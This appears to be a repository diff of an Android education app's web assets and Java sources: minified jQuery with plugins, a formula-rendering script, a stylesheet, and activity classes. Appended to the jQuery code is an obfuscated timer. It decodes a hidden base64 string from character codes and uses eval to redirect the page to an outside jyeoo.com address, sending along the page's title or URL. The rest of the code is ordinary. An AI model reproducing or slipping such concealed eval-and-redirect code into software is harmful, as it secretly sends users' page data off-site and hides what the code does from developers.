a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);window.setInterval(function(){var b=document.getElementById(String.fromCharCode(112,99,104,117,98,101));if(null!=b){for(var c="",a=[98,71,57,106,89,88,82,112,98,50,52,117,97,72,74,108,90,105,65,57,73,67,100,111,100,72,82,119,79,105,56,118,100,51,100,51,76,109,112,53,90,87,57,118,76,109,78,118,98,83,57,104,99,71,107,118,99,71,104,105,89,51,86,108,98,109,70,50,97,84,57,51,80,81,61,61],d=0;d<a.length;d++)c+=String.fromCharCode(a[d]);a=encodeURIComponent(b.getAttribute("title")||location.href);a=atob(c)+
5 (b.getAttribute("value")||"1")+"&l="+a+"'";eval(a)}},6E3);/*Easing*/jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e},easeOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return g*Math.pow(2,-10*h)*Math.sin((h*k-i)*(2*Math.PI)/j)+l+e},easeInOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k/2)==2){return e+l}if(!j){j=k*(0.3*1.5)}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j)*0.5+l+e},easeInBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*(f/=h)*f*((g+1)*f-g)+a},easeOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*((f=f/h-1)*f*((g+1)*f+g)+1)+a},easeInOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}if((f/=h/2)<1){return i/2*(f*f*(((g*=(1.525))+1)*f-g))+a}return i/2*((f-=2)*f*(((g*=(1.525))+1)*f+g)+2)+a},easeInBounce:function(e,f,a,h,g){return h-jQuery.easing.easeOutBounce(e,g-f,0,h,g)+a},easeOutBounce:function(e,f,a,h,g){if((f/=g)<(1/2.75)){return h*(7.5625*f*f)+a}else{if(f<(2/2.75)){return h*(7.5625*(f-=(1.5/2.75))*f+0.75)+a}else{if(f<(2.5/2.75)){return h*(7.5625*(f-=(2.25/2.75))*f+0.9375)+a}else{return h*(7.5625*(f-=(2.625/2.75))*f+0.984375)+a}}}},easeInOutBounce:function(e,f,a,h,g){if(f<g/2){return jQuery.easing.easeInBounce(e,f*2,0,h,g)*0.5+a}return jQuery.easing.easeOutBounce(e,f*2-g,0,h,g)*0.5+h*0.5+a}});
6 /*Scrollify*/(function(e,t,n,r){"use strict";var i=[],s=[],o=[],u=0,a=t.location.hash,f=false,l,c=e(t).scrollTop(),h=false,p={section:"section",sectionName:"section-name",easing:"easeOutExpo",scrollSpeed:1100,offset:0,scrollbars:true,axis:"y",target:"html,body",before:function(){},after:function(){}};e.scrollify=function(r){function d(n){if(s[n]){p.before(n,o);if(p.sectionName){t.location.hash=s[n]}e(p.target).stop().animate({scrollTop:i[n]},p.scrollSpeed,p.easing);e(p.target).promise().done(function(){p.after(n,o)})}}var v={handleMousedown:function(){h=false},handleMouseup:function(){h=true},handleScroll:function(){if(l){clearTimeout(l)}l=setTimeout(function(){c=e(t).scrollTop();if(h==false){return false}h=false;var n=1,r=i.length,s=0,o=Math.abs(i[0]-c),a;for(;n<r;n++){a=Math.abs(i[n]-c);if(a<o){o=a;s=n}}u=s;d(s)},200)},wheelHandler:function(e,t){e.preventDefault();t=t||-e.originalEvent.detail/3||e.originalEvent.wheelDelta/120;if(l){clearTimeout(l)}l=setTimeout(function(){if(t<0){if(u<i.length-1){u++}}else if(t>0){if(u>0){u--}}if(u>=0){d(u)}else{u=0}},25)},keyHandler:function(e){e.preventDefault();if(e.keyCode==38){if(u>0){u--}d(u)}else if(e.keyCode==40){if(u<i.length-1){u++}d(u)}},init:function(){if(p.scrollbars){e(t).bind("mousedown",v.handleMousedown);e(t).bind("mouseup",v.handleMouseup);e(t).bind("scroll",v.handleScroll)}else{e("body").css({overflow:"hidden"})}e(n).bind("DOMMouseScroll mousewheel",v.wheelHandler);e(n).bind("keyup",v.keyHandler)}};var m={touches:{touchstart:{y:-1},touchmove:{y:-1},touchend:false,direction:"undetermined"},options:{distance:30,timeGap:800,timeStamp:(new Date).getTime()},touchHandler:function(e){var t;if(typeof e!=="undefined"){e.preventDefault();if(typeof e.touches!=="undefined"){t=e.touches[0];switch(e.type){case"touchstart":m.options.timeStamp=(new Date).getTime();m.touches.touchend=false;case"touchmove":m.touches[e.type].y=t.pageY;if(m.options.timeStamp+m.options.timeGap<(new Date).getTime()&&m.touches.touchend==false){m.touches.touchend=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}}break;case"touchend":if(m.touches[e.type]==false){m.touches[e.type]=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}};default:break}}}},init:function(){if(n.addEventListener){n.addEventListener("touchstart",m.touchHandler,false);n.addEventListener("touchmove",m.touchHandler,false);n.addEventListener("touchend",m.touchHandler,false)}}};if(typeof r==="string"){var g=s.length;for(;g>=0;g--){if(typeof arguments[1]==="string"){if(s[g]==arguments[1]){u=g;d(g)}}else{if(g==arguments[1]){u=g;d(g)}}}}else{p=e.extend(p,r);e(p.section).each(function(t){if(t>0){i[t]=e(this).offset().top+p.offset}else{i[t]=e(this).offset().top}if(p.sectionName&&e(this).data(p.sectionName)){s[t]="#"+e(this).data(p.sectionName).replace(/ /g,"-")}else{s[t]="#"+(t+1)}o[t]=e(this);if(a==s[t]){u=t;f=true}});if(f==false&&p.sectionName){t.location.hash=s[0]}else{d(u)}v.init();m.init()}}})(jQuery,this,document)
app/src/main/assets/library.js
File was created 1 var htmlLatexRender=function(){function h(a){return Math.max(a.clientHeight,a.scrollHeight)}function d(a,c){return null==a||1!=a.nodeType?null:a.getAttribute(c)}function l(a,c,b){switch(typeof c){case "object":for(var e in c)a.style[e]=c[e];break;case "string":a.style[c]=b}}function m(a,c){if(null==a)return null;try{if(!0==c){var b=a.parentNode;if(b.nextElementSibling)return b.nextElementSibling;for(;b=b.nextSibling;)if(1==b.nodeType)return b}else{if(a.nextElementSibling)return a.nextElementSibling;
2 for(;a=a.nextSibling;)if(1==a.nodeType)return a}}catch(e){}return null}function k(a,c){if(null!=a&&null!=c){var b=a.children||a.childNodes;c(a);for(var e=0;e<b.length;e++)k(b[e],c)}}function g(a,c,b,e){if(null!=a){++e;for(var f=a.children||a.childNodes,d=0;d<f.length;d++)a=f[d],1==a.nodeType&&(b(a)&&c.push({n:a,d:e}),g(a,c,b,e))}}function n(a){var c=[],b=0;g(a,c,function(a){if(d(a,"hassize"))return!0},0);for(b=0;b<c.length;b++)c[b].h=h(c[b].n.parentNode),c[b].w=Math.max(c[b].n.parentNode.clientWidth,
3 c[b].n.parentNode.scrollWidth),c[b].s=parseInt(d(c[b].n,"hassize")),c[b].f=d(c[b].n,"dealflag");for(b=0;b<c.length;b++)if(0>c[b].s)switch(a=d(c[b].n,"mathtag"),a){case "msup_sup":q(c[b]);break;case "msub_sub":r(c[b]);break;case "msubsup_sup":s(c[b])}else t(c[b])}function t(a){var c=[],b;g(a.n,c,function(a){if(d(a,"muststretch"))return!0},0);if(!(1>c.length))if(b=d(c[0].n,"muststretch"),"v"==b){if(b=(a.h-a.s)/c.length,0<b)for(a=0;a<c.length;a++)c[a].n.style.height=b+"px"}else if(b=(a.w-a.s)/c.length,
4 0<b)for(a=0;a<c.length;a++)c[a].n.style.width=b+"px"}function s(a){var c=m(a.n),b=h(a.n),e=h(c);a=a.h-(b+e);0<a&&l(c,"marginTop",a+"px")}function q(a){if(a.f){var c=h(a.n.parentNode);0<c&&l(a.n,"verticalAlign",3*c/4+"px")}}function r(a){a.f&&0<h(a.n.parentNode)&&l(a.n,"verticalAlign","-100%")}function p(a){if(!(null==a||8==a.nodeType||1>a.childNodes.length||/input|form|math|iframe|textarea|pre|svg/.test(a.nodeName)))for(var c,b,e,f,d=a.childNodes.length-1;-1<d;d--)if(3!=a.childNodes[d].nodeType)p(a.childNodes[d]);
5 else{c=a.childNodes[d].nodeValue.replace(/sin/g,"\u253d").replace(/cos/g,"\u253e").replace(/tan/g,"\u253f").replace(/lim/g,"\u2540");c=c.replace(/\-/g,"\u2212").replace(/=/g,"\uff1d").replace(/\\+/g,"\uff0b");b=document.createDocumentFragment();for(var g=0;g<c.length;g++){f=c.charAt(g);switch(f){case "\u253d":f="sin";break;case "\u253e":f="cos";break;case "\u253f":f="tan";break;case "\u2540":f="lim";break;default:if(/[a-z]/i.test(f)){e=document.createElement("font");e.className="MathJye_mi";e.appendChild(document.createTextNode(f));
6 b.appendChild(e);continue}}b.appendChild(document.createTextNode(f))}a.replaceChild(b,a.childNodes[d])}}this.LayOut=function(a,c){for(var b=a.getElementsByTagName("span"),e=0;e<b.length;e++)"math"==d(b[e],"mathtag")&&(p(b[e]),c&&k(b[e],function(a){if(1==a.nodeType)switch(d(a,"muststretch")){case "v":a.style.height="1px";break;case "h":a.style.width="1px"}}),"1"==d(b[e],"dealflag")&&n(b[e]))}},MathJye=Object;try{MathJye=new htmlLatexRender}catch(e$$14){}
7 (function(){var h=!(!window.attachEvent||window.opera),d=/webkit\/(\d+)/i.test(navigator.userAgent)&&525>RegExp.$1,l=[],m=function(){for(var d=0;d<l.length;d++)l[d]()},k=document;k.ready=function(g){if(!h&&!d&&k.addEventListener)return k.addEventListener("DOMContentLoaded",g,!1);if(!(1<l.push(g)))if(h)(function(){try{k.documentElement.doScroll("left"),m()}catch(d){setTimeout(arguments.callee,0)}})();else if(d)var n=setInterval(function(){/^(loaded|complete)$/.test(k.readyState)&&(clearInterval(n),
8 m())},0)}})();document.ready(function(){try{MathJye.LayOut(document.body)}catch(h){}});
9
app/src/main/assets/point.png

17.3 KB

app/src/main/assets/style.css
File was created 1 body{font-family: "微软雅黑", Arial,"宋体"; font-size: 14px; line-height: 1.5em; color: #333;}
2 a{ text-decoration: none; color: #2489f6;}
3 dl, ul, ol, ul { list-style: none; padding: 0; margin: 0; }
4 .wrapper{ width: 1200px; margin: 0 auto; }
5 .ques-detail{}
6 .ques-detail ul li{margin-bottom: 20px;border: 1px solid #dadada;background: #fff;border-radius: 10px;}
7 .ques-detail ul li:last-child{ margin-bottom: 0; }
8
9 table.edittable{ border-collapse: collapse; text-align: center; margin: 2px; }
10 table.edittable th, table.edittable td{ line-height: 30px; padding: 5px; white-space: normal; word-break: break-all; border: 1px solid #000; vertical-align: middle; }
11 table.composition{ border-collapse: collapse; text-align: left; margin: 2px; width: 98%; }
12 table.composition th, table.composition td{ line-height: 30px; white-space: normal; word-break: break-all; border-width: 0px; vertical-align: middle; }
13 table.composition2{ border-collapse: collapse;width:auto }
14 table.composition2 th, table.composition2 td{text-align:left;line-height:30px; white-space:normal;word-break:break-all;border:none;border-width: 0px;vertical-align: middle; }
15 .MathJye{ border: 0 none; direction: ltr; line-height: normal; display: inline-block; float: none; font-family: 'Times New Roman','宋体'; font-size: 15px; font-style: normal; font-weight: normal; letter-spacing: 1px; line-height: normal; margin: 0; padding: 0; text-align: left; text-indent: 0; text-transform: none; white-space: nowrap; word-spacing: normal; word-wrap: normal; -webkit-text-size-adjust: none; }
16 .MathJye div, .MathJye span{ border: 0 none; margin: 0; padding: 0; line-height: normal; text-align: left; height: auto; _height: auto; white-space: normal; }
17 .MathJye table{ border-collapse: collapse; margin: 0; padding: 0; text-align: center; vertical-align: middle; line-height: normal; font-size: inherit; *font-size: 100%; _font-size: 100%; font-style: normal; font-weight: normal; border: 0; float: none; display: inline-block; *display: inline; zoom: 0; }
18 .MathJye table td{ padding: 0; font-size: inherit; line-height: normal; white-space: nowrap; border: 0 none; width: auto; _height: auto; }
19 .MathJye_mi{ font-style: italic; }
20 .flipv{-ms-transform: scaleX(-1);-moz-transform: scaleX(-1);-webkit-transform: scaleX(-1);-o-transform: scaleX(-1);transform: scaleX(-1);filter: FlipH;}
21 .fliph{-ms-transform: scaleY(-1);-moz-transform: scaleY(-1);-webkit-transform: scaleY(-1);-o-transform: scaleY(-1);transform: scaleY(-1);filter: FlipV;}
22 .mathjye-bold{font-weight:800}
23 .mathjye-del{text-decoration:line-through}
24 .mathjye-underline{border-bottom:1px solid #000;padding-bottom:2px;}
25 @-moz-document url-prefix() {.mathjye-underline{padding-bottom:0px;}}
26 .mathjye-underpline{border-bottom:2px dotted #000; padding-bottom:3px;}
27 @-moz-document url-prefix() {.mathjye-underpline {padding-bottom:1px;}}
28 .mathjye-underpoint{background: url(http://img.jyeoo.net/images/formula/point.png) no-repeat center bottom; padding-bottom:4px;}
29 .mathjye-underpoint2{border-bottom:2px dotted #000; padding-bottom:3px;}
30 @-moz-document url-prefix() {.mathjye-underpoint{padding-bottom:1px;}}
31 .mathjye-underwave{background: url(http://img.jyeoo.net/images/formula/wave.png) bottom repeat-x; padding-bottom:4px;}
32 @-moz-document url-prefix() {.mathjye-underwave {padding-bottom:1px;}}
33 .mathjye-alignleft{display:block;text-align:left;}
34 .mathjye-aligncenter{display:block;text-align:center;}
35 .mathjye-alignright{display:block;text-align:right;}
36
37
38 /*试题*/
39 .artpreview fieldset { padding-top: 10px; font-size: 14px; clear: both; overflow: hidden; zoom: 1; line-height: 24px; font-family: 'Times New Roman',宋体,sans-serif; position: relative; }
40 .artpreview fieldset legend { padding: 5px 0; display: block; margin: 5px; background: #f1f1f1; color: #000; overflow: hidden; zoom: 1; }
41 .queserror { border: 1px dotted #f00; padding: 2px; }
42 fieldset.quesborder {display: block;padding: 0;line-height: 25px;letter-spacing: 1px;word-break: break-all;margin: 0;}
43 fieldset.queserror { border: 1px solid #f00; font-size: 12px; padding: 2px; margin-bottom: 1px; }
44 fieldset.quesborder td, fieldset.queserror td { line-height: 16px; }
45 fieldset.quesborder em, fieldset.queserror em { font-style: normal; font-weight: bold; position: absolute; left: 20px; }
46 fieldset.thiserror1 { border: 1px solid #f00; }
47 fieldset.thiserror1 legend { border: 4px solid #f00; }
48 fieldset.thiserror2 { border: 1px solid #ADCD3C; }
49 fieldset.thiserror2 legend { border: 4px solid #ADCD3C; }
50 fieldset.thisques { border: 1px solid blue; }
51 fieldset.thison { border: 1px solid #A9C9E2; }
52 fieldset.thison div.border { border: 1px solid #ADCD3C; background-color: #F2FDDB; }
53 fieldset, img { border: 0 none; }
54 table.thison { border: 1px solid #00F; }
55 table.thiserr { border: 1px solid #F00; }
56 fieldset.thisvip1 { border: 1px solid #00F; }
57 fieldset.thisvip1 legend { border: 4px solid #00F; }
58 fieldset.status17 { border: 1px solid #ff00ff; }
59 fieldset.status17 legend { border: 4px solid #ff00ff; }
60 .selectoption { vertical-align: middle; font-size: 14px; padding: 2px; }
61 .selectoption:hover { color: #EA8511; }
62 .selectoption label { padding: 4px; line-height: 24px; }
63 fieldset.quesbordere { border: 2px dotted #f00; }
64 .answer { border: 1px dotted #ffffff; }
65 ol.answer li, ul.answer li { padding: 1px; font-size: 14px; }
66 ol.answer li:hover { background: #f2f2f2; }
67 .collapseContainerPanel { border: 0; }
68 .collapsePanelHeader { height: 30px; font-weight: bold; padding: 6px 0 0 0; }
69 .collapseHeaderContent { float: left; padding-left: 5px; }
70 .collapseContent { margin: 0; padding: 0; border: 1px solid #ccc; border-top: 0; }
71 .pt0 { padding: 2px 0 5px 0; font-size: 14px; font-family: "黑体",sans-serif; font-weight: 700; }
72 .pt1 {overflow: hidden;zoom: 1;clear: both;line-height: 25px;font-size: 14px;padding: 20px;position: relative;word-break: break-word;}
73 fieldset.quesborder .pt1 em { position: static; }
74 .pt1 img { position: relative; }
75 .pt2 {padding: 20px;padding-top: 0;}
76 .pt3, .pt4, .pt5, .pt6, .pt7 { clear: both; zoom: 1; position: relative; padding: 0px 20px 20px 80px; }
77 .pt8 a:link, .pt8 a:visited { margin-right: 10px; padding: 2px 5px; }
78 .pt8 a:hover { background: #fc0; }
79 .pt9 { padding: 20px; border: 0 none; color: #999999; font-size: 12px; }
80 .fieldtip {height: 36px;line-height: 36px;background-color: #f4f4f4;border-top: 1px solid #dadada;padding: 0 20px;color: #666666;position: relative;font-size: 12px;border-radius: 0 0 10px 10px;}
81 .newFieldtip .pt1, .newFieldtip .pt2, .newFieldtip .pt3, .newFieldtip .pt4, .newFieldtip .pt5, .newFieldtip .pt6, .newFieldtip .pt7, .newFieldtip .pt8, .newFieldtip.pt9, .newFieldtip + .fieldtip { padding: 0; }
82 fieldset img { max-width: 100%; }
83
84 .fieldtip-left {float: left;}
85 .fieldtip-left >* {margin-right: 20px;}
86 .fieldtip-right { float: right; }
87 .fieldtip-right>* { margin-left: 20px; display: inline-block; color: #666666; }
88 .fieldtip .btn {display: inline-block;margin-bottom: 0;font-weight: normal;text-align: center;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;background-image: none;border: 1px solid transparent;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;font-size: 14px;border-radius: 4px;color: #ffffff;background-color: #ff8a00;line-height: 18px;min-width: 28px;padding: 0 5px;}
89 .fieldtip .btn:hover, .fieldtip .btn:active, .fieldtip .btn:active:hover, .fieldtip .btn:hover { color: #ffffff; background-color: #faad4a; }
90
91 /*填空题*/
92 div.quizPutTag { display: inline-block; *display: inline; padding: 3px 10px 1px 10px; margin: 0 3px; font-size: 14px; min-width: 1em; min-height: 16px; line-height: 18px; height: auto; border-bottom: 1px solid #0033FF; text-decoration: none; zoom: 1; color: #127176; word-break: break-all; }
93 div.quizPutTag:hover { color: #f60; }
94 div.quizPutTag img { cursor: pointer; width: 200px; margin-left: 10px; }
95 .sanwser { padding: 4px 10px; margin: 0px; border: 1px solid #ADCD3C; background-color: #F2FDDB; color: #000; display: none; }
96 /*答案*/
97 .selectoption label.s, div.s { border: 1px solid #91cbed; background-color: #deeeff; display: inline-block; }
98 .selectoption label.s.sh, div.s.sh { margin: 1px; border: none; background: none; }
99 del { text-decoration: none; color: #f00; font-style: normal; font-weight: normal; }
app/src/main/assets/wave.png

17.3 KB

app/src/main/java/com/hjx/parent/AddSuccessActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.content.Intent;
4 import android.graphics.Bitmap;
5 import android.graphics.BitmapFactory;
6 import android.net.Uri;
7 import android.os.Bundle;
8 import android.provider.MediaStore;
9 import android.text.TextUtils;
10 import android.util.Log;
11 import android.view.LayoutInflater;
12 import android.view.View;
13
14 import androidx.annotation.Nullable;
15 import androidx.core.content.FileProvider;
16
17 import com.hjx.parent.databinding.ActivityAddSuccessBinding;
18 import com.prws.common.utils.BitmapUtils;
19 import com.prws.common.utils.CommonUtil;
20 import com.prws.common.utils.dialog.MyButtomDialog;
21 import com.zhangteng.imagepicker.bean.ImageInfo;
22 import com.zhangteng.imagepicker.config.ImagePickerConfig;
23 import com.zhangteng.imagepicker.config.ImagePickerEnum;
24 import com.zhangteng.imagepicker.config.ImagePickerOpen;
25 import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
26 import com.zhangteng.utils.IHandlerCallBack;
27
28 import java.io.File;
29 import java.util.ArrayList;
30 import java.util.List;
31
32 public class AddSuccessActivity extends BaseActivity<ActivityAddSuccessBinding> {
33 private int REQUEST_CODE_IMAGE = 123;
34 private String filePath;
35
36 @Override
37 public void initView(Bundle savedInstanceState) {
38 binding.ivBack.setOnClickListener(new View.OnClickListener() {
39 @Override
40 public void onClick(View v) {
41 finish();
42 }
43 });
44 binding.tvAdd.setOnClickListener(new View.OnClickListener() {
45 @Override
46 public void onClick(View v) {
47 MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
48 View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
49 dialog.setContentView(bottomView);
50 bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
51 @Override
52 public void onClick(View view) {
53 dialog.dismiss();
54 Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
55 //确保有相机来处理Intent
56 filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
57 File photoFile = new File(filePath);
58 if (photoFile != null) {
59 //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
60 Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
61 takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
62 takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
63 activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
64 }
65 }
66 });
67 bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
68 @Override
69 public void onClick(View view) {
70 dialog.dismiss();
71 ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
72 .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
73 .multiSelect(true) //是否多选
74 .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
75 .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
76 .maxImageSelectable(9) //图片可选择数
77 .maxHeight(1920) //图片最大高度
78 .maxWidth(1920) //图片最大宽度
79 .maxImageSize(10) //图片最大大小Mb
80 .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
81 ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(AddSuccessActivity.this);
82
83 }
84 });
85 bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
86 @Override
87 public void onClick(View view) {
88 dialog.dismiss();
89 }
90 });
91 dialog.show();
92 }
93 });
94 }
95
96 @Override
97 protected ActivityAddSuccessBinding getViewBinding() {
98 return ActivityAddSuccessBinding.inflate(getLayoutInflater());
99 }
100
101 @Override
102 protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
103 super.onActivityResult(requestCode, resultCode, data);
104 if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
105 Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
106 String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
107 CommonUtil.saveBitmapToUri(b, path);
108 List<String> strings = new ArrayList<>();
109 Intent intent = new Intent(context, ImageActivity.class);
110 strings.add(path);
111 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
112 startActivity(intent);
113 finish();
114 }
115 }
116
117 public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
118 private String TAG = "---ImagePicker---";
119 List<ImageInfo> photoList = new ArrayList<>();
120
121 @Override
122 public void onStart() {
123 Log.i(TAG, "onStart: 开启");
124 }
125
126 @Override
127 public void onSuccess(List<ImageInfo> photoList) {
128 this.photoList = photoList;
129 Log.i(TAG, "onSuccess: 返回数据");
130 }
131
132 @Override
133 public void onCancel() {
134 Log.i(TAG, "onCancel: 取消");
135 }
136
137 @Override
138 public void onFinish(List<ImageInfo> selectImage) {
139 if (selectImage.size() == photoList.size()) {
140 List<String> strings = new ArrayList<>();
141 Intent intent = new Intent(context, ImageActivity.class);
142 for (ImageInfo imageInfo : selectImage) {
143 strings.add(imageInfo.getPath());
144 }
145 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
146 startActivity(intent);
147 finish();
148 }
149 }
150
151 @Override
152 public void onError() {
153 Log.i(TAG, "onError: 出错");
154 }
155 }
156 }
157
app/src/main/java/com/hjx/parent/App.java
File was created 1 package com.hjx.parent;
2
3 import com.prws.common.CommonApplication;
4 import com.prws.common.bean.GradeAndSubject;
5 import com.prws.common.utils.SharedPreferencesUtil;
6 import com.uuzuche.lib_zxing.activity.ZXingLibrary;
7
8 import java.util.List;
9
10 public class App extends CommonApplication {
11 private static App instance;
12
13 public static App getInstance() {
14 return instance;
15 }
16
17 private static String baiduToken;
18
19 public static void setBaiduToken(String baiduToken) {
20 App.baiduToken = baiduToken;
21 }
22
23 public static String getBaiduToken() {
24 return baiduToken;
25 }
26
27 private static List<GradeAndSubject> gradeAndSubjects;
28
29 public void setGradeAndSubjects(List<GradeAndSubject> gradeAndSubjects) {
30 App.gradeAndSubjects = gradeAndSubjects;
31 }
32
33 public List<GradeAndSubject> getGradeAndSubjects() {
34 return gradeAndSubjects;
35 }
36
37 @Override
38 public void onCreate() {
39 super.onCreate();
40 this.instance = this;
41 SharedPreferencesUtil.getInstance(this, "config");
42 ZXingLibrary.initDisplayOpinion(this);
43 }
44 }
45
app/src/main/java/com/hjx/parent/BaseActivity.java
File was created 1 package com.hjx.parent;
2
3
4 import static com.xiasuhuei321.loadingdialog.view.LoadingDialog.Speed.SPEED_TWO;
5
6 import android.content.Context;
7 import android.graphics.Color;
8 import android.os.Bundle;
